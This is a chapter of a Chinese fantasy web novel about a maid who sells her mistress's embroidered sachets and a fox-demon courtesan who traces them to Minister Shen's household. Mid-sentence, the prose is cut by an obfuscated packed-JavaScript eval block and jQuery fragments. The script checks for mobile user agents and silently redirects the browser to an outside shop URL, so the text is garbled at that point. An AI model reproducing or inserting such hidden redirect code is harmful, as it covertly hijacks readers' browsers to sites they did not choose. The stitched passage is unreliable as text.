11. 鸳鸯

作品:《如何干掉偏执反派九尾狐

    阿秀脸颊一红,下意识将字条揉皱。左盼右顾看到周围没人,才彻底展开细细端详:“明日卯时,老地方见......韩郎。”


    将字条卷起,投入灶中焚毁,她感觉到心脏怦怦直跳。


    韩修是阿秀外出采买药材食物遇到的郎中,在药铺打工,为人看诊维持生计,因为总是采买时候碰到,两人一来二去,情投意合也成了相好。看着她在沈家年岁渐长,韩郎不忍,提议两人私奔去别处生活。但是他娘近日病重,急需贵重药材续命。


    阿秀一个府上丫鬟,对方一个寒衣郎中,为别人施诊看病也挣不了几个钱,着实这几日着急地发愁。


    看着竹篮里的香包,久违地冒出一个念头:“不如拿几个出去卖吧。”


    夫人这么善良,一定会原谅她的。


    再说,这么好看的香包,一把火烧掉,着实太可惜。救人一命,胜造七级浮屠,这是在给夫人做好事。夫人通情达理,肯定不会怪她的。


    人命关天,事不宜迟。阿秀和韩修交待后,次日,韩郎中放下书生架子,支了个小摊,扭扭捏捏在集市上叫卖起来。


    或许是药铺郎中叫卖绣花香囊这事太过匪夷所思,也或者单纯市吏今日闲来无事,想找个事做,就撞到了他的摊子面前。


    这钱市吏靠着家里关系谋了个一官半职,管理市集,是个油奸耍滑的主,市面货见多了,见这些荷包香囊做工精美,并非凡品,便想据为己有全部没收倒卖,丝毫不管郎中哭诉他母亲病重,丫鬟帮他一事,并要以未在集市登记为由,要将他押送官府。


    一来二去,两人争吵起来,引来很多人围观驻足。


    双方争执不下时,一道娇媚入骨的女声打断了争执,勾得人心神荡漾:“钱官爷,这是怎么回事?”


    出声女子一身粉紫纱裙,千娇百媚之姿,看得人眼睛发直。正是本地栖云阁头牌—挽香。


    听说这位头牌知书达礼,琴棋书画无所不通,有人只求和挽香娘子饮茶,不惜一夜豪掷千金,是位难得的妙人。


    挽香娘子!那钱市吏一看是栖云阁的头牌,国色天香的美人主动搭讪,乐得眼睛眯成一条细缝,笑眯眯道:“哎,挽香娘子,我道是什么香风,原来是挽香娘子!”


    听到这官差的调笑,挽香也不气恼,笑吟吟开口:“今日无事,到街上闲逛。听到官爷在此威风凛凛,便想来一睹官爷风采。”


    听到这话,钱市吏乐不可支,也没想到挽香话里有话。


    见美人感兴趣,一五一十地将郎中卖香包的事情给交代了,言语间还不忘记夹杂对自身英勇之姿的夸赞。


    原来如此,挽香听完后若有所思,无视了市吏求夸奖的眼神,反而拿起那只针脚细密的鸳鸯荷包,对着欲哭无泪的郎中轻声询问:“你说你相好是何人府中?”


    听闻这位挽香娘子和不少朝中高官有来往,没准她美言几句,能帮他解决此事。


    现下老母需要照顾,而且还有阿秀,他无论如何都不能去衙门。韩郎中不敢隐瞒,低声应答:“工部尚书沈澈沈大人。”


    右手摩挲着那只鸳鸯荷包,挽香若有所思。


    黑顶褐羽的鸯鸟针法细密,造型别致,和她多年前见过的很像。


    也许这次终于能找到那个人了。


    摸着手里的荷包思虑片刻,挽香对着赵官吏莞尔一笑:“官爷大人有大量,要不这样吧,未报备的罚金我替这位郎中付了。大家都不容易,和气生财。改日钱官爷来我栖云阁喝一杯,小女一定盛情款待。”


    她声音娇嗔,听起来勾魂入骨,早把贪图美色的钱市吏勾得魂不知道哪里去了。见美人如此发话,还盛情相邀,他不好再说什么,收了罚金打着哈哈当这事过去了。


    深夜,挽香支开了身边伺候的丫鬟,借口外出,七拐八绕进了一个窄小的胡同。


    出来时候窈窕美人不见,取而代之是一个裹着黑布头佝偻着腰的市井妇人,兜兜转转来到工部侍郎沈澈府前,想要悄无声息地进去,发现门口设了捉妖禁制,想要硬闯,却几度被弹开。


    正当她发愁之际,吱呀一声,大门打开。


    一个小丫鬟拎着洒扫工具出来,嘴里嘟嘟囔囔,正是今日被迫替班的阿秀。


    有人的声音从院门内传来:“阿秀,一定要打扫干净点,不要偷懒。”


    丫鬟边关门边应着里面人的吩咐:“知道了。”


    阿秀?这个名字好生熟悉,挽香记得那日有听到韩郎中慌不择言地提到这个名字。


    “小姑娘,”老妇人开口,“这个荷包是你绣的吗?”说着,她拿出那只鸳鸯荷包。


    看见这个似曾相识的荷包,阿秀眼神躲闪,摇头拒绝道:“不是,您找错人了。”


    心道韩郎中这个傻子,她千叮咛万嘱咐让他一定不要说是谁绣的,以免后续夫人知道了麻烦,怎的竟然被人找上门来。


    挽香看到丫鬟支支吾吾的模样,心知有蹊跷,又拿出一锭银子,缓缓开口:“咳咳......是这样,我家夫人很喜欢您做的香包,希望你能多绣几个,必有重赏。”


    看到沉甸甸的银子,阿秀有些心动,但是贪小便宜吃大亏,这老妪来历不明,深更半夜出现在这里,怎么想都很奇怪,还是咬着牙拒绝了。


    见这丫鬟敬酒不吃吃罚酒,挽香没了耐心,不再客气。


    将她拽到一旁暗处,娇媚的眼眸发紫,隐隐现出八眼妖瞳,拽着阿秀的衣领威胁:“快说是谁绣的!不然我吃了你!”


    被面前女人的突然变脸吓傻了眼,自小到大没见过妖物的阿秀跌坐在地上,一时说不出话,想起身逃跑,却因为身体本能反应动不了。


    见威胁奏效,挽香放缓语气,脸色温柔:“这香囊究竟是谁绣的?”她蹲下身把玩阿秀的头发,将黑色头发在指头上缠了缠,带着阿秀的头皮有些生疼,缓缓道:“不说实话,今天就是你的死期。”


    没见过这种阵仗,阿秀吓得不禁要哭出声来,双腿不住地发抖:“是,是沈夫人。”


    生死关头她也顾不得什么,干脆一口气全交代了,“夫人绣了好多给沈老爷都不领情。本来是让我烧掉这些荷包香囊,是我自作主张偷出来卖的。求求您,求您不要杀我。我知道错了......”


    哦,原来是这样?


    得到了想要的答案,挽香心头是前所未有的畅快,感到沉寂已久的血液都开始沸腾起来。


    我......终于找到你了。


    心情大好,挽香耐心帮阿秀理好额前的碎发,说道:“放心,我现在还杀不了你,忘掉这一切吧。”


    说着,在她眼前挥了挥手,施了失忆术,丫鬟的眼神从清醒变得混沌。


    过了片刻,清醒过来的阿秀发觉自己跌坐在地上,眼前空无一人,旁边是散落的扫帚和簸箕。


    她刚才是不小心摔倒了吗?阿秀揉揉脑袋,爬起来继续干活。


    ***


    栖云阁,栖于云雾,独起高阁,名字听着雅致,却是京城最大的青楼,雕栏玉砌,尽显精巧。


    没想到,那沈氏府邸竟然贴了密密麻麻的黄色驱妖符,悄无声息是进不去的。若是大动阵仗,恐怕会惊到缉妖司。


    本以为计划能提前,看来现在得另作打算。


    不过此次出行也不是全无收获。挽香边上楼边思索着。她今日穿着桃粉色纱衣,行走间裙摆飘摇,像一朵春日盛放的桃花,在一群描眉扑粉的妙龄女子中间格外吸睛,惹得不少寻芳客抬头看来,纷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211673|197426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纷想展露一手,搏美人一笑。


    “挽香姑娘,三水大人又来看你了,说是想和您谈下上次没做完的诗词。”


    打扮得花枝招展的吴妈妈,看着归来的挽香欣慰开口。这挽香,可是她们店里的头牌,摇钱树,招财宝,可要好好照看住了。


    她听到,敷衍答应一声,“那就让他等着吧。”


    步履却未停。今日应付的客人太多了,实在令人疲惫。男人就是这样欠,得不到的才是最好的,多等才能多开销。


    “可是,大人说今日一定要见您,不等他就不归家。”吴妈妈小步跟上,不依不饶劝说起来,沈侍郎可是难得的贵客,在这里放了一千两,指名道姓要见她,银子在这,怎么能让煮熟的鸭子飞了,今天无论如何也要让挽香和他见面。


    “你说他是谁?”挽香猛地停下,回头,将紧随其后的吴妈妈撞了个趔趄。


    “工部侍郎沈澈沈大人。”吴妈妈捂着被撞痛的额头,用两人才能听见的音量小声说道,“这位大人,今日很想见您。”花楼有花楼的规矩,他们这些隐姓埋名的贵客,自然也取个别名方便遮掩行踪。


    沈府,沈澈,她怎么会忘了这个,真是踏破铁鞋无觅处,得来全不费工夫。


    “好啊,我也很想见他。”挽香理鬓发,莞尔一笑。


    工部侍郎沈澈,人如其名,即使为官多年还是一副清雅之气,任谁看了只以为是一个儒雅书生。他听着帘下女子抚琴一曲完毕,心醉神迷。为了见这位知己,可是刚从纪府出来就隐瞒行踪赶来这里,还没开口说什么,却见美人撩起纱帘走过来,纤纤玉手递出一个荷包。


    这还是她第一次送他礼物,沈澈有些激动,也学着别人的样子不禁调侃道:“挽香姑娘怎的突然想起绣荷包了?”接过来细细端详,却发现上面只锈了一只鸯鸟。


    愿作鸳鸯被,长覆有情人。


    常言道:合昏尚知时,鸳鸯不独宿。鸳鸯自古以来成双成对,哪有一只独行的道理,看着挽香似笑非笑的表情,向来饱读诗书的他也有些摸不着头脑,于是又低头研究上面的纹样,略有迟疑:“而且怎么是一只鸳鸯?”


    莫非,她在表示什么?


    挽香开口:“你认不认得这荷包?”说着,又拿出两三个买来的香包给他看。


    看这位沈侍郎摇头的样子,挽香确认了什么,嗤笑,也是个蠢人,连自己夫人常用的几种绣图样式都不认识,看来他们感情不好。


    那她可有的做了。


    *


    马车很快就到了工部侍郎府邸门前,受够了车内窒息的氛围,颜芷提着裙裾先行跳下车,却发现纪绥并未跟上,而是手扶着车厢前的横木,不知在等待什么。


    他站在车辕上,长身玉立,见颜芷回头看他,掩唇咳嗽了声,“颜芷,过来扶我。”


    世子苍白的脸色显得有些虚弱,惹得周围人群围观驻足,也让缉妖司众人有些愧疚,心想拖着生病之人通宵查案是有些不太妥当。


    不是,他还真的装上了?


    颜芷对他变脸能力深感佩服,要不是看他在地下杀妖利索得跟砍瓜切菜一样,还真以为是哪家大病初愈的公子哥出来探亲了。


    纪绥又咳嗽了声,将胳膊往上抬了下眼神示意她:“记住你的身份,还有我们的约定。”于是颜芷很殷勤利索地扶着纪绥下来。


    沈府门口,朱红色大门前,青石地面一尘不染,可见刚刚有人洒扫过。


    颜芷跟在纪绥身后,注意到他走到第一节石阶前时,抬起的脚步停顿了一下,面露古怪。


    引用来源


    愿作鸳鸯被,长覆有情人。-《鸳鸯篇》李德裕(唐)


    合昏尚知时,鸳鸯不独宿。-《佳人》杜甫(唐)